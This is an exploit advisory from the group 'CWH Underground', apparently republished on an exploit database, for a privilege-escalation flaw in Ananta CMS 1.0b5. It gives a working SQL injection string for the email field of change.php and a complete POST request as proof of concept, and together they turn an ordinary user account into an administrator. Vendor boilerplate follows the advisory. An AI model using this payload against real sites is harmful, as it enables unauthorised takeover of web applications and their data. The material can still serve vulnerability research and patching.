==============================================================
Anata CMS 1.0b5 (change.php) Arbitrary Add Admin Vulnerability
==============================================================
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
AUTHOR : CWH Underground
DATE : 15 June 2008
#####################################################
APPLICATION : Ananta CMS
VERSION : 1.0 BETA 5
VENDOR : http://www.anantasoft.com
DOWNLOAD : http://downloads.sourceforge.net/ananta
#####################################################
---Add-Admin Exploit---
***magic_quotes_gpc = off***
-------------
Description
-------------
Anata CMS 1.0b5 have Vulnerability to escalate user to administartor's privilege.
That Vulnerable in "Change Profile Sections" (http://[Target]/[ananta_path]/change.php)
and you can injection code into form,This action will give your account can use Admin Control Panel (http://[Target]/[ananta_path]/admin/index.php?Menus)
with Administrative's Privilege.
-----------------
Vulnerable Path
-----------------
[+] http://[Target]/[ananta_path]/change.php
--------------
Exploit code
--------------
[+] [email protected]',`activate`='',`active`='1',`admin`='2
-----
POC
-----
[+] POST http://192.168.24.25/ananta/change.php HTTP/1.1
[+] Host: 192.168.24.25
[+] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+] Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+] Accept-Language: en-us,en;q=0.5
[+] Accept-Encoding: gzip,deflate
[+] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+] Keep-Alive: 300
[+] Proxy-Connection: keep-alive
[+] Referer: http://192.168.24.25/ananta/change.php
[+] Cookie: my_forums_read=a%3A1%3A%7Bi%3A2%3Bi%3A1213371672%3B%7D; SESSf8957b3b4f8e7726a55030f2edf0908f=b4accdd2e21350171a6f7770b7c01ea1; my_topicsRead=a%3A2%3A%7Bi%3A1%3Bi%3A1213371648%3Bi%3A2%3Bi%3A1213371760%3B%7D; fusion_visited=yes; PHPSESSID=b5a2857e687d69984cc6a38feb7a4a70
[+] Content-Type: application/x-www-form-urlencoded
[+] Content-length: 108
[+]
[+] name=test&pass=test&controle=test&[email protected]',`activate`='',`active`='1',`admin`='2&showemail=on&save=Save&table=users&number=4&active=1
##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #
##################################################################
# 0day.today [2018-01-09] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation